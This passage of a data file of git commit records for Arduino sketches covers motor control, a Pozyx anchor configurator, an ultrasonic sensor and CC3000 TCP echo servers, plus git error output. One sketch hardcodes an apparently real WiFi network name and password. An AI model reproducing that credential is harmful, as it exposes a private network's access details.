goBack();\n\t\t\tbreak;\n\t\t\/\/ turn left\n\t\tcase '3': turnLeft();\n\t\t\tbreak;\n\t\t\/\/ turn right\n\t\tcase '4': turnRight();\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tSerial.println(\"Error\");\n\t}\n}\n\nvoid other(char inst){\n\n}\n\nvoid setup(){\n\tstepper1.setSpeed(60);\n\tstepper2.setSpeed(60);\n\n\tSerial.begin(9600);\n}\n\nvoid loop(){\n\n\n\tif(Serial.available()){\n\n\t\tSerial.println(\"loop step1\");\n\n\t\tbegin = Serial.read();\n\t\t\n\t\tSerial.println(\"loop step2\");\n Serial.println(begin);\n\t\tif(begin==35){\n \n\t\tSerial.println(\"loop step3\");\n\t \t\tSerial.readBytes(ins, 2);\n\t\t\tswitch(ins[0]){\n\t\t\t\tcase '1': \n\t\t\t\t\tSerial.println(\"switch step1\");\n\t\t\t\t\tstepControl(ins[1]);\n\t\t\t\t\tbreak;\n\t\t\t\tcase '2': \n\t\t\t\t\tSerial.println(\"switch step2\");\n\t\t\t\t\tother(ins[1]);\n\t\t\t\t\tbreak;\n\t\t\t\tdefault: \n\t\t\t\t\tbreak;\n\t\t\t}\n \n Serial.println(\"end of if #\");\n\t\t\tbegin = 0;\n\t\t}\n \n Serial.println(\"end of available\");\n\n\t}\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'driver_mega.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"f18e1c3d6ca77c62f191be7b2431ca94a96bd7ea","subject":"Bug fix","message":"Bug fix\n","repos":"MichalMares\/Ardularm,MichalMares\/Ardularm,MichalMares\/Ardularm,MichalMares\/Ardularm,MichalMares\/Ardularm,MichalMares\/Ardularm","old_file":"Arduino\/Ardularm\/Ardularm.ino","new_file":"Arduino\/Ardularm\/Ardularm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/MichalMares\/Ardularm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4a65a99617f72e14b7735707988c24d9c930a3b4","subject":"A7 with Deepsleep","message":"A7 with Deepsleep\n\nAdded Deepsleep of 10minutes, checks temp\u2019s from sensors against saved\nsensor value in EEPROM, if different then start moden and send data,\nelse sleep for 10minutes again\n","repos":"xnsense\/xns-firmware,xnsense\/xns-firmware","old_file":"Prototypes\/A7 Test\/A7_Test_Sleep\/A7_Test_Sleep.ino","new_file":"Prototypes\/A7 Test\/A7_Test_Sleep\/A7_Test_Sleep.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Prototypes\/A7' did not match any file(s) known to git\nerror: pathspec 'Test\/A7_Test_Sleep\/A7_Test_Sleep.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1be1c76552ef2f0e0490cdba8124caa2c5b328a1","subject":"Update ds3231.ino","message":"Update ds3231.ino\n\nForced RTC to adjust time","repos":"DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge","old_file":"redBoard\/Libraries\/RTClib\/examples\/ds3231\/ds3231.ino","new_file":"redBoard\/Libraries\/RTClib\/examples\/ds3231\/ds3231.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/DrewMeyersCUboulder\/UPOD_Bridge.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8e65dc806622c4aa82beed39205387cbf47499c6","subject":"Added motor functionality","message":"Added motor functionality\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"motor_robot3.ino","new_file":"motor_robot3.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8cc0363e2efd7a3e61e5919bfe7c9d1faa53ba38","subject":"Latch the differential flag if it becomes set.","message":"Latch the differential flag if it becomes set.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"51105c80e4cb15827e71c3250e8b40c934bf3388","subject":"Added anchor_configurator sketch","message":"Added anchor_configurator sketch\n","repos":"pozyxLabs\/Pozyx-Arduino-library,pozyxLabs\/Pozyx-Arduino-library","old_file":"useful\/pozyx_anchor_configurator\/pozyx_anchor_configurator.ino","new_file":"useful\/pozyx_anchor_configurator\/pozyx_anchor_configurator.ino","new_contents":"#include <Pozyx.h>\n#include <Pozyx_definitions.h>\n#include <Wire.h>\n#include <stdlib.h>\n\n\/\/ change this if you want to perform remote configuration \nuint16_t remote_id = NULL;\n\n#define MAX_DEVICES 20\nuint8_t devlist_size = 0;\nuint16_t device_ids[MAX_DEVICES];\n\nvoid setup() {\n Serial.begin(115200);\n while(!Serial); \/\/ for the Arduino Leonardo\/Micro only\n \n Pozyx.begin(); \n \n Serial.println(\"\\n\\nAnchor configurator started.\");\n Serial.println(\"------------------------------------\");\n \n if(remote_id == NULL) {\n Serial.print(F(\"Configuring the local pozyx device with network id: 0x\"));\n uint16_t netid = 0;\n Pozyx.getNetworkId(&netid);\n Serial.println(netid, HEX);\n }else{\n uint8_t whoami=0;\n Pozyx.getWhoAmI(&whoami, remote_id);\n if(whoami == 0x43){\n Serial.print(F(\"Configuring the remote pozyx device with network id: 0x\"));\n Serial.println(remote_id, HEX);\n }else{\n Serial.print(F(\"Cannot connect to the remote device with network id 0x\"));\n Serial.println(remote_id, HEX);\n delay(50);\n abort();\n }\n }\n \n printLocalizationOptions(remote_id);\n printMain(remote_id);\n}\n\n#define STATE_MAIN 0\n#define STATE_ADD_HEX 1\n#define STATE_ADD_X 2\n#define STATE_ADD_Y 3\n#define STATE_ADD_Z 4\n#define STATE_REMOVE_ID 5\n#define STATE_OPTION_ALGORITHM 6\n#define STATE_OPTION_DIM 7\n#define STATE_OPTION_NUM_ANCHORS 8\n#define STATE_OPTION_ANCHOR_SEL 9\n#define STATE_MANUAL_IDS 10\n\nString input;\nint state = STATE_MAIN;\nint dev_Selected;\ndevice_coordinates_t new_device;\nint algorithm = -1;\nint numAnchors;\nint selected_anchor_num = 0;\nuint16_t anchor_sel[15];\n\nvoid loop() {\n\n if (Serial.available() > 0) { \/\/ is a character available?\n char rx_byte = Serial.read(); \/\/ get the character\n \n if(rx_byte != '\\r' && rx_byte != '\\n') \n input += rx_byte;\n \n if(rx_byte == '\\r') {\n \n if(state == STATE_MAIN)\n {\n if(input == \"add\")\n {\n Serial.println(\"\\tAdding new anchor:\");\n Serial.print(\"\\tplease give network id (hex): \");\n state = STATE_ADD_HEX;\n }\n else if(input == \"remove\") \n { \n Serial.print(\"\\tGive network id of device to remove (hex): \"); \n state = STATE_REMOVE_ID; \n }\n else if(input == \"remove all\") \n {\n Pozyx.clearDevices(remote_id);\n Pozyx.saveConfiguration(POZYX_FLASH_NETWORK, NULL, 0, remote_id);\n printMain(remote_id); \n } \n else if(input == \"localization options\")\n { \n Serial.println(\"\\tselect positioning algoirthm [LS, UWB_only, default] \");\n state = STATE_OPTION_ALGORITHM; \n }else{\n Serial.println(\"\\tUnknown command.\");\n }\n }else if(state == STATE_ADD_HEX)\n {\n char input_hex[sizeof(input)];\n input.toCharArray(input_hex, sizeof(input));\n long network_id = strtol(input_hex, NULL, 16);\n if(network_id >0 && network_id <= 0xFFFF)\n {\n new_device.network_id = (uint16_t)network_id;\n Serial.print(\"0x\");\n Serial.println(network_id, HEX);\n Serial.print(\"\\tSet anchor x-coordinate(mm): \");\n state = STATE_ADD_X;\n }else{\n Serial.print(F(\"\\n\\tNot a valid network id, try again: \"));\n }\n }else if(state == STATE_ADD_X)\n {\n int x_mm = input.toInt();\n if(x_mm >=-100000 && x_mm < 100000)\n {\n new_device.pos.x = x_mm;\n Serial.println(x_mm);\n Serial.print(F(\"\\tSet anchor y-coordinate(mm): \"));\n state = STATE_ADD_Y;\n }else{\n Serial.print(F(\"\\n\\tNot a valid x-coordinate, try again: \"));\n }\n }else if(state == STATE_ADD_Y)\n {\n int y_mm = input.toInt();\n if(y_mm >=-100000 && y_mm < 100000)\n {\n new_device.pos.y = y_mm;\n Serial.println(y_mm);\n Serial.print(F(\"\\tSet anchor z-coordinate(mm): \"));\n state = STATE_ADD_Z;\n }else{\n Serial.print(F(\"\\n\\tNot a valid y-coordinate, try again: \"));\n }\n }else if(state == STATE_ADD_Z)\n {\n int z_mm = input.toInt();\n if(z_mm >=-100000 && z_mm < 100000)\n {\n new_device.pos.z = z_mm;\n Serial.println(z_mm);\n \n new_device.flag = 0x1; \n int result = Pozyx.addDevice(new_device, remote_id); \t\n Pozyx.saveConfiguration(POZYX_FLASH_NETWORK, NULL, 0, remote_id);\n if(result == POZYX_SUCCESS)\n {\n Serial.println(F(\"\\tAnchor successfully added.\"));\n }else{\n Serial.println(F(\"\\tFailed to add anchor.\"));\n }\n state = STATE_MAIN;\n printMain(remote_id);\n }else{\n Serial.print(F(\"\\n\\tNot a valid x-coordinate, try again: \"));\n }\n }else if(state == STATE_REMOVE_ID)\n {\n char input_hex[sizeof(input)];\n input.toCharArray(input_hex, sizeof(input));\n long network_id = strtol(input_hex, NULL, 16);\n if(network_id >0 && network_id <= 0xFFFF)\n { \n Serial.print(\"0x\"); \n Serial.println(network_id, HEX); \n \/\/ remove anchor\n remove_anchor(network_id, remote_id); \n Pozyx.saveConfiguration(POZYX_FLASH_NETWORK, NULL, 0, remote_id); \n Serial.println(\"\\tAnchor removed\");\n \n state = STATE_MAIN;\n printMain(remote_id);\n \n }else{\n Serial.println(F(\"\\n\\tNot a valid network id, try again:\"));\n }\n } else if(state == STATE_OPTION_ALGORITHM)\n {\n algorithm = -1;\n \n if(input == \"LS\") { \n algorithm = POZYX_POS_ALG_LS;\n }else if(input == \"UWB_only\" || input == \"default\") {\n algorithm = POZYX_POS_ALG_UWB_ONLY ;\n }else{\n Serial.println(\"\\tInvalid input\");\n }\n \n if(algorithm != -1)\n {\n Serial.println(F(\"\\tSelect the localization dimension [2D, 2.5D, 3D]\"));\n state = STATE_OPTION_DIM;\n }\n }else if(state == STATE_OPTION_DIM)\n {\n int dim = -1;\n if(input == \"2D\")\n {\n dim = 2;\n }else if(input == \"2.5D\"){\n dim = 1;\n }else if(input == \"3D\"){\n dim = 3;\n }else{\n Serial.println(\"\\tInvalid input\");\n }\n \n if(dim != -1)\n {\n Pozyx.setPositionAlgorithm(algorithm,dim, remote_id);\n Serial.println(F(\"\\tChoose the number of anchors to use [3-15]\"));\n state = STATE_OPTION_NUM_ANCHORS;\n }\n }else if(state == STATE_OPTION_NUM_ANCHORS)\n {\n numAnchors = input.toInt();\n if(numAnchors >= 3 && numAnchors <= 15 )\n {\n Serial.println(F(\"\\tSelect the anchor selection method [manual, automatic]\"));\n state = STATE_OPTION_ANCHOR_SEL;\n }else{\n Serial.println(F(\"\\tInvalid input\"));\n }\n }else if(state == STATE_OPTION_ANCHOR_SEL)\n {\n if(input == \"manual\")\n {\n Pozyx.setSelectionOfAnchors(POZYX_ANCHOR_SEL_MANUAL, numAnchors, remote_id );\n uint8_t regs[2] = {POZYX_POS_ALG, POZYX_POS_NUM_ANCHORS};\n Pozyx.saveConfiguration(POZYX_FLASH_REGS, regs, 2, remote_id); \n state = STATE_MANUAL_IDS;\n Serial.print(F(\"\\tenter network id of anchor 1 (hex): \"));\n selected_anchor_num = 1;\n }else if(input == \"automatic\")\n { \n Pozyx.setSelectionOfAnchors(POZYX_ANCHOR_SEL_AUTO , numAnchors, remote_id );\n uint8_t regs[2] = {POZYX_POS_ALG, POZYX_POS_NUM_ANCHORS};\n Pozyx.saveConfiguration(POZYX_FLASH_REGS, regs, 2, remote_id);\n Serial.println(F(\"\\tLocalization options saved\"));\n printLocalizationOptions(remote_id);\n state = STATE_MAIN;\n printMain(remote_id);\n }else{\n Serial.println(F(\"\\tInvalid input, please try again\"));\n }\n }else if(state == STATE_MANUAL_IDS)\n {\n char input_hex[sizeof(input)];\n input.toCharArray(input_hex, sizeof(input));\n long network_id = strtol(input_hex, NULL, 16);\n if(network_id >0 && network_id <= 0xFFFF)\n { \n Serial.print(\"0x\"); \n Serial.println(network_id, HEX); \n \n anchor_sel[selected_anchor_num-1] = network_id;\n \n if(selected_anchor_num < numAnchors)\n {\n Serial.print(F(\"\\tenter network id of anchor \"));\n Serial.print(++selected_anchor_num);\n Serial.print(F(\" (hex): \")); \n }else\n {\n Pozyx.setPositioningAnchorIds(anchor_sel, numAnchors, remote_id);\n Pozyx.saveConfiguration(POZYX_FLASH_ANCHOR_IDS, NULL, 0, remote_id);\n printLocalizationOptions(remote_id);\n state = STATE_MAIN;\n printMain(remote_id);\n }\n \n }else{\n Serial.print(F(\"\\n\\tNot a valid network id, try again: \"));\n }\n } \n \n input = \"\";\n } \n \n } \/\/ end: if (Serial.available() > 0)\n\n}\n\nvoid printLocalizationOptions(uint16_t remote_id)\n{\n uint8_t algorithm = 0;\n Pozyx.getPositionAlgorithm(&algorithm, remote_id);\n uint8_t dimension = 0;\n Pozyx.getPositionDimension(&dimension, remote_id);\n \n Serial.print(F(\"using the \"));\n if(algorithm == POZYX_POS_ALG_UWB_ONLY )\n Serial.print(F(\"UWB-only\")); \n else if(algorithm == POZYX_POS_ALG_LS )\n Serial.print(F(\"Least squares\")); \n Serial.print(F(\" algorithm in \")); \n if(dimension == POZYX_2D )\n Serial.println(F(\"2D.\"));\n else if(dimension == POZYX_2_5D )\n Serial.println(F(\"3D with fixed height (2.5D).\"));\n else if(dimension == POZYX_3D )\n Serial.println(F(\"3D.\"));\n \n uint8_t mode = 0;\n Pozyx.getAnchorSelectionMode(&mode, remote_id);\n uint8_t numAnchors = 0;\n Pozyx.getNumberOfAnchors(&numAnchors, remote_id);\n \n Serial.print(F(\"using \"));\n Serial.print(numAnchors);\n Serial.print(F(\" anchors that are \")); \n if(mode == POZYX_ANCHOR_SEL_MANUAL)\n {\n Serial.println(F(\"manually selected.\"));\n uint16_t anchors[numAnchors];\n for(int i=0;i<numAnchors;i++) {\n anchors[i] = 0;\n }\n \n int status = Pozyx.getPositioningAnchorIds(anchors, numAnchors, remote_id);\n for(int i=0;i<numAnchors;i++)\n {\n Serial.print(\"\\t0x\");\n Serial.print(anchors[i],HEX);\n }\n Serial.println();\n }else if(mode == POZYX_ANCHOR_SEL_AUTO)\n Serial.println(F(\"automatically selected.\")); \n}\n\nvoid printMain(uint16_t remote_id)\n{\n Serial.println(F(\"\\nCurrent devices in device list: (max 20)\"));\n\n int result = Pozyx.getDeviceListSize(&devlist_size, remote_id); \n if(devlist_size > 0)\n { \n uint16_t devices[devlist_size];\n result = Pozyx.getDeviceIds(device_ids, devlist_size, remote_id);\n \n int i;\n for(i=0; i<devlist_size; i++)\n {\n coordinates_t anchor_coor;\n Serial.print(\"\\tAnchor \");\n Serial.print(i+1);\n Serial.print(\") 0x\");\n Serial.print(device_ids[i], HEX);\n result = Pozyx.getDeviceCoordinates(device_ids[i], &anchor_coor, remote_id);\n Serial.print(\"\\tx= \");\n Serial.print(anchor_coor.x);\n Serial.print(\"\\ty= \");\n Serial.print(anchor_coor.y);\n Serial.print(\"\\tz= \");\n Serial.println(anchor_coor.z);\n } \n }else\n {\n Serial.println(\"\\tNone.\");\n } \n \n Serial.println(F(\"Options [add, remove, remove all, localization options]\"));\n}\n\nvoid remove_anchor(uint16_t network_id, uint16_t remote_id)\n{ \n uint8_t devlist_size = 0;\n int result = Pozyx.getDeviceListSize(&devlist_size, remote_id); \n \n if(devlist_size > 0)\n { \n uint16_t device_ids[devlist_size];\n device_coordinates_t devices[devlist_size];\n result = Pozyx.getDeviceIds(device_ids, devlist_size, remote_id);\n \n \/\/ load all the current devices\n for(int i=0; i<devlist_size; i++) { \n coordinates_t tmp;\n result = Pozyx.getDeviceCoordinates(device_ids[i], &tmp, remote_id); \n devices[i].network_id = device_ids[i];\n devices[i].flag = 1;\n devices[i].pos = tmp; \n } \n \n \/\/ clear the current devices\n Pozyx.clearDevices(remote_id);\n \n \n \/\/ add all the devices except the one to delete\n for(int i=0; i<devlist_size; i++)\n {\n if(device_ids[i] != network_id)\n {\n Pozyx.addDevice(devices[i], remote_id);\n }\n }\n } \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'useful\/pozyx_anchor_configurator\/pozyx_anchor_configurator.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"31a74059bf61ad94ad3542772ec7613faac012e5","subject":"hmm, returning the 5041 pos is a piece of cake","message":"hmm, returning the 5041 pos is a piece of cake\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Commands.ino","new_file":"ArduinoClient\/Commands.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"fe35b8b66f07fe90ec450220e8da118dc7ef0cbc","subject":"Create GoalCode.ino","message":"Create GoalCode.ino","repos":"marouanopen\/WeirdWeek2016","old_file":"GoalCode.ino","new_file":"GoalCode.ino","new_contents":"\/* \n* \n* Aansluitingen HCSR04 - Arduino\n* Vcc - 5V\n* Trig - 2\n* Echo - 3\n* Gnd - GND\n*\/ \n\n#include \"HCSR04.h\"\nHCSR04 ultrasonic(2, 3); \/\/Trig, Echo\n\nint cm;\n\nvoid setup()\n{\n Serial.begin(115200);\n Serial.println(\"start\");\n}\n\nvoid loop()\n{\n cm = ultrasonic.Ranging(CM); \/\/CM of INCH\n if(cm >= 0)\n Serial.println(cm);\n delay(100);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'GoalCode.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3d4b4542e84eb1549e4f966c2d4b1985807c4894","subject":"added upper limit, stable","message":"added upper limit, stable\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"motor_robot.ino","new_file":"motor_robot.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"699ee83efd09354e773080ff6e81e07baf5e6a86","subject":"add tcp sketch","message":"add tcp sketch\n","repos":"aliwatters\/arduino-casino,aliwatters\/arduino-casino","old_file":"tcp-sketch\/tcp-sketch.ino","new_file":"tcp-sketch\/tcp-sketch.ino","new_contents":"\n\/***************************************************\n Adafruit CC3000 Breakout\/Shield TCP Echo Server\n \n This is a simple implementation of the echo \n protocol, RFC 862 http:\/\/tools.ietf.org\/html\/rfc862 , \n for the Arduino platform and Adafruit CC3000 breakout\n or shield. This sketch will create a TCP server that \n listens by default on port 7 and echos back any data\n received. Up to 3 clients can be connected concurrently\n to the server. This sketch is meant as an example of how \n to write a simple server with the Arduino and CC3000.\n\n See the CC3000 tutorial on Adafruit's learning system\n for more information on setting up and using the\n CC3000:\n http:\/\/learn.adafruit.com\/adafruit-cc3000-wifi \n \n Requirements:\n \n This sketch requires the Adafruit CC3000 library. You can\n download the library from:\n https:\/\/github.com\/adafruit\/Adafruit_CC3000_Library\n \n For information on installing libraries in the Arduino IDE\n see this page:\n http:\/\/arduino.cc\/en\/Guide\/Libraries\n \n Usage:\n \n Update the SSID and, if necessary, the CC3000 hardware pin \n information below, then run the sketch and check the \n output of the serial port. After connecting to the \n wireless network successfully the sketch will output \n the IP address of the server and start listening for \n connections. Once listening for connections, connect\n to the server from your computer using a telnet client\n on port 7. \n \n For example on Linux or Mac OSX, if your CC3000 has an\n IP address 192.168.1.100 you would execute in a command\n window:\n \n telnet 192.168.1.100 7\n \n After connecting, notice that as you type input and \n press enter to send it the CC3000 will echo back exactly\n what you typed. Press ctrl-] and type quit at the prompt \n to close the telnet session.\n \n On Windows you'll need to download a telnet client. PuTTY \n is a good, free GUI client: \n http:\/\/www.chiark.greenend.org.uk\/~sgtatham\/putty\/\n \n License:\n \n This example is copyright (c) 2013 Tony DiCola (tony@tonydicola.com)\n and is released under an open source MIT license. See details at:\n http:\/\/opensource.org\/licenses\/MIT\n \n This code was adapted from Adafruit CC3000 library example \n code which has the following license:\n \n Designed specifically to work with the Adafruit WiFi products:\n ----> https:\/\/www.adafruit.com\/products\/1469\n\n Adafruit invests time and resources providing this open source code, \n please support Adafruit and open-source hardware by purchasing \n products from Adafruit!\n\n Written by Limor Fried & Kevin Townsend for Adafruit Industries. \n BSD license, all text above must be included in any redistribution \n ****************************************************\/\n#include <Adafruit_CC3000.h>\n#include <SPI.h>\n#include \"utility\/debug.h\"\n#include \"utility\/socket.h\"\n\n\/\/ These are the interrupt and control pins\n#define ADAFRUIT_CC3000_IRQ 3 \/\/ MUST be an interrupt pin!\n\/\/ These can be any two pins\n#define ADAFRUIT_CC3000_VBAT 5\n#define ADAFRUIT_CC3000_CS 10\n\/\/ Use hardware SPI for the remaining pins\n\/\/ On an UNO, SCK = 13, MISO = 12, and MOSI = 11\nAdafruit_CC3000 cc3000 = Adafruit_CC3000(ADAFRUIT_CC3000_CS, ADAFRUIT_CC3000_IRQ, ADAFRUIT_CC3000_VBAT,\n SPI_CLOCK_DIVIDER); \/\/ you can change this clock speed\n\n#define WLAN_SSID \"CL Eng Devices\" \/\/ cannot be longer than 32 characters!\n#define WLAN_PASS \"mak3 all the Things talk\"\n\/\/ Security can be WLAN_SEC_UNSEC, WLAN_SEC_WEP, WLAN_SEC_WPA or WLAN_SEC_WPA2\n#define WLAN_SECURITY WLAN_SEC_WPA2\n\n#define LISTEN_PORT 7 \/\/ What TCP port to listen on for connections. The echo protocol uses port 7.\n\nAdafruit_CC3000_Server echoServer(LISTEN_PORT);\n\nint led = 8;\n\nvoid setup(void)\n{\n pinMode(led, OUTPUT);\n Serial.begin(115200);\n Serial.println(F(\"Hello, CC3000!\\n\")); \n\n Serial.print(\"Free RAM: \"); Serial.println(getFreeRam(), DEC);\n \n \/* Initialise the module *\/\n Serial.println(F(\"\\nInitializing...\"));\n if (!cc3000.begin())\n {\n Serial.println(F(\"Couldn't begin()! Check your wiring?\"));\n while(1);\n }\n \n Serial.print(F(\"\\nAttempting to connect to \")); Serial.println(WLAN_SSID);\n if (!cc3000.connectToAP(WLAN_SSID, WLAN_PASS, WLAN_SECURITY)) {\n Serial.println(F(\"Failed!\"));\n while(1);\n }\n \n Serial.println(F(\"Connected!\"));\n \n Serial.println(F(\"Request DHCP\"));\n while (!cc3000.checkDHCP())\n {\n delay(100); \/\/ ToDo: Insert a DHCP timeout!\n } \n\n \/* Display the IP address DNS, Gateway, etc. *\/ \n while (! displayConnectionDetails()) {\n delay(1000);\n }\n\n \/*********************************************************\/\n \/* You can safely remove this to save some flash memory! *\/\n \/*********************************************************\/\n Serial.println(F(\"\\r\\nNOTE: This sketch may cause problems with other sketches\"));\n Serial.println(F(\"since the .disconnect() function is never called, so the\"));\n Serial.println(F(\"AP may refuse connection requests from the CC3000 until a\"));\n Serial.println(F(\"timeout period passes. This is normal behaviour since\"));\n Serial.println(F(\"there isn't an obvious moment to disconnect with a server.\\r\\n\"));\n \n \/\/ Start listening for connections\n echoServer.begin();\n \n Serial.println(F(\"Listening for connections...\"));\n}\n\nvoid loop(void)\n{\n \/\/ Try to get a client which is connected.\n Adafruit_CC3000_ClientRef client = echoServer.available();\n if (client) {\n \/\/ Check if there is data available to read.\n if (client.available() > 0) {\n \/\/ Read a byte and write it to all clients.\n uint8_t ch = client.read();\n client.write(ch);\n if (ch == 49) {\n digitalWrite(led, HIGH);\n } else if (ch ==50) {\n digitalWrite(led, LOW);\n } else {\n Serial.println(ch);\n }\n }\n }\n}\n\n\/**************************************************************************\/\n\/*!\n @brief Tries to read the IP address and other connection details\n*\/\n\/**************************************************************************\/\nbool displayConnectionDetails(void)\n{\n uint32_t ipAddress, netmask, gateway, dhcpserv, dnsserv;\n \n if(!cc3000.getIPAddress(&ipAddress, &netmask, &gateway, &dhcpserv, &dnsserv))\n {\n Serial.println(F(\"Unable to retrieve the IP Address!\\r\\n\"));\n return false;\n }\n else\n {\n Serial.print(F(\"\\nIP Addr: \")); cc3000.printIPdotsRev(ipAddress);\n Serial.print(F(\"\\nNetmask: \")); cc3000.printIPdotsRev(netmask);\n Serial.print(F(\"\\nGateway: \")); cc3000.printIPdotsRev(gateway);\n Serial.print(F(\"\\nDHCPsrv: \")); cc3000.printIPdotsRev(dhcpserv);\n Serial.print(F(\"\\nDNSserv: \")); cc3000.printIPdotsRev(dnsserv);\n Serial.println();\n return true;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tcp-sketch\/tcp-sketch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c17491238eb16a710a9089ce70d072ee110ee3e0","subject":"Add echo server example.","message":"Add echo server example.\n","repos":"tdicola\/adafruit_cc3000","old_file":"echoserver\/echoserver.ino","new_file":"echoserver\/echoserver.ino","new_contents":"\n\/***************************************************\n Adafruit CC3000 Breakout\/Shield TCP Echo Server\n \n This is a simple implementation of the echo \n protocol, RFC 862 http:\/\/tools.ietf.org\/html\/rfc862 , \n for the Arduino platform and Adafruit CC3000 breakout\n or shield. This sketch will create a TCP server that \n listens by default on port 7 and echos back any data\n received. Up to 3 clients can be connected concurrently\n to the server. This sketch is meant as an example of how \n to write a simple server with the Arduino and CC3000.\n\n See the CC3000 tutorial on Adafruit's learning system\n for more information on setting up and using the\n CC3000:\n http:\/\/learn.adafruit.com\/adafruit-cc3000-wifi \n \n Requirements:\n \n This sketch requires the Adafruit CC3000 library. You can\n download the library from:\n https:\/\/github.com\/adafruit\/Adafruit_CC3000_Library\n \n For information on installing libraries in the Arduino IDE\n see this page:\n http:\/\/arduino.cc\/en\/Guide\/Libraries\n \n Usage:\n \n Update the SSID and, if necessary, the CC3000 hardware pin \n information below, then run the sketch and check the \n output of the serial port. After connecting to the \n wireless network successfully the sketch will output \n the IP address of the server and start listening for \n connections. Once listening for connections, connect\n to the server from your computer using a telnet client\n on port 7. \n \n For example on Linux or Mac OSX, if your CC3000 has an\n IP address 192.168.1.100 you would execute in a command\n window:\n \n telnet 192.168.1.100 7\n \n After connecting, notice that as you type input and \n press enter to send it the CC3000 will echo back exactly\n what you typed. Press ctrl-] and type quit at the prompt \n to close the telnet session.\n \n On Windows you'll need to download a telnet client. PuTTY \n is a good, free GUI client: \n http:\/\/www.chiark.greenend.org.uk\/~sgtatham\/putty\/\n \n License:\n \n This example is copyright (c) 2013 Tony DiCola (tony@tonydicola.com)\n and is released under an open source MIT license. See details at:\n http:\/\/opensource.org\/licenses\/MIT\n \n This code was adapted from Adafruit CC3000 library example \n code which has the following license:\n \n Designed specifically to work with the Adafruit WiFi products:\n ----> https:\/\/www.adafruit.com\/products\/1469\n\n Adafruit invests time and resources providing this open source code, \n please support Adafruit and open-source hardware by purchasing \n products from Adafruit!\n\n Written by Limor Fried & Kevin Townsend for Adafruit Industries. \n BSD license, all text above must be included in any redistribution \n ****************************************************\/\n#include <Adafruit_CC3000.h>\n#include <SPI.h>\n#include \"utility\/debug.h\"\n#include \"utility\/socket.h\"\n\n\/\/ These are the interrupt and control pins\n#define ADAFRUIT_CC3000_IRQ 3 \/\/ MUST be an interrupt pin!\n\/\/ These can be any two pins\n#define ADAFRUIT_CC3000_VBAT 5\n#define ADAFRUIT_CC3000_CS 10\n\/\/ Use hardware SPI for the remaining pins\n\/\/ On an UNO, SCK = 13, MISO = 12, and MOSI = 11\nAdafruit_CC3000 cc3000 = Adafruit_CC3000(ADAFRUIT_CC3000_CS, ADAFRUIT_CC3000_IRQ, ADAFRUIT_CC3000_VBAT,\n SPI_CLOCK_DIV2); \/\/ you can change this clock speed\n\n#define WLAN_SSID \"myNetwork\" \/\/ cannot be longer than 32 characters!\n#define WLAN_PASS \"myPassword\"\n\/\/ Security can be WLAN_SEC_UNSEC, 